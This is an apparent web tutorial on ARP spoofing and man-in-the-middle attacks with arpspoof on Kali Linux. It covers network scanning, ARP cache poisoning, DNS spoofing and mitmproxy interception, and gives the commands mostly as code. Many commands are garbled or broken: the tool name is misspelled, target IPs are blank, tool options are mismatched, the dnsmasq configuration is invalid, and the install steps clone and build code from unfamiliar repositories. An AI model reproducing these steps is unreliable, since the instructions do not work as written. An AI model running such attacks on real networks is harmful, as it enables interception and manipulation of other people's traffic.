Using Arpspoof Kali Linux: A Comprehensive Guide for Ethical Hackers

=====================================================================================

ARP spoofing, also known as ARP (Address Resolution Protocol) poisoning or hijacking, is a technique used by hackers to intercept and manipulate data traffic on a local area network (LAN). In this tutorial, we will explore how to perform ARP spoofing using arpspoft with Kali Linux 2018.1.

Prerequisites

---------

Before diving into the practical steps of this guide, ensure you have met the following prerequisites:

* You are running a virtual machine or physical host with Kali Linux installed.

* Your system is connected to an Ethernet cable for stability and reliability purposes.

* Familiarize yourself with basic network concepts such as IP addresses, MAC addresses, ARP requests/ responses, etc.

Step 1: Installing Arpspoof

---------------------

Firstly, let's install arpspoft on your Kali Linux system. Open a terminal window by pressing `Ctrl + Alt + T` or type 'Terminal' in the applications menu and search for it:

```

sudo apt-get update && sudo apt-get upgrade -y

# Install necessary packages

sudo apt-get install libnss3-dev libssl1.0-dev netfilter-persistent bridge-utils xtables-addons-dkms openresolv openssh-server fakeroot resolvconf git -y

git clone https://github.com/spandreus/arpspoof.git && cd arpspoft/

./configure --prefix=/usr/local/ && make install

```

Step 2: Mapping the Network and Gathering Info

----------------------------------------------

Before proceeding with ARP spoofing, it is essential to understand your target network's topology. To achieve this:

1. Connect an Ethernet cable from one of your system's available ports to a switch or hub in your local area network.

2. Run the following command on another machine connected via Wi-Fi/ethernet within range:

```bash

sudo arpscan --interactive -r

```

Replace `` and `/` with the actual IP address and subnet mask of your target network.

3. This will display a list of devices connected to your local area network along with their MAC addresses, vendor information (if available), etc.

Step 3: Spoofing ARP Requests/Responses

--------------------------------

Now that we have gathered necessary info about our targeted clients/devices on the LAN:

1. Identify the device whose traffic you want to intercept or manipulate using tools like `tcpdump` or `Wireshark`.

```bash

sudo tcpdump -i eth0 -n -r /var/log/eth0.pcap --display-filter 'dst and dst port 80'

```

Replace `` with the IP address of your targeted client.

2. Once you've identified which device's traffic to intercept, run one of these commands depending on whether you're using `arp -s` or `arpspoof --spoof`.

* Using arp(1):

```bash

sudo arping -q -I eth0 | while read mac; do sudo echo '00:11:22:'$(echo '$mac' | cut -c 6-12)' eth0 > /var/lib/misc/ethers ; sleep .5s ; done &

```

* Using arpspoof(8):

```bash

sudo ./arpspoof --spoof --arp -t

```

Step 4: Launching MITM Attacks (Optional)

-----------------------------------

Once you have successfully spoofed the ARP requests/ responses on your target device(s), it is now time to launch various Man-in-the-Middle attacks:

1. Simple MitM Attack:

```bash

sudo arpspoof --spoof -t

```

2. DNS Spoofing (using dnsmasq):

* Install necessary packages first: `apt-get install dnsmasq`

* Configure /etc/dnsmasque.conf to forward traffic through your local machine:

```

listen_address=127.0

# Set up a different port for better security if needed.

port=53

bind-interfaces()

dnspython-config --resolvfile=/home/yourusername/.m2trust/resolvs.conf.dns

```

* Start dnsmasq in the background and restart your local DNS resolver: `systemctl start dnsmasque && systemctl reload-dnsmasque.service`

3. HTTP(S) MitM (using mitmproxy):

```bash

sudo apt-get install python2 libffi-dev libglib-2.0-dev libnl-1dev libpcap-dev libtun-tcp4linux-utils \

libssl-dev -y

git clone https://github.com/terranum/mitmproxy.git && cd mitmproxy/

python setup.py build

sudo pip install ./

```

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In conclusion, we have successfully learned how to perform ARP spoofing using arpspoof with Kali Linux 2018.1 in an ethical hacking context. This guide covers mapping the current network and gathering information about connected clients, understanding theory behind ARP poisoning and MITM attacks, changing packet flow within a network, launching various Man-in-the-Middle (MitM) attacks, etc.

Remember to always practice these techniques on your own networks or with proper permission from system administrators before attempting them in production environments.

Using arpspoof kali linux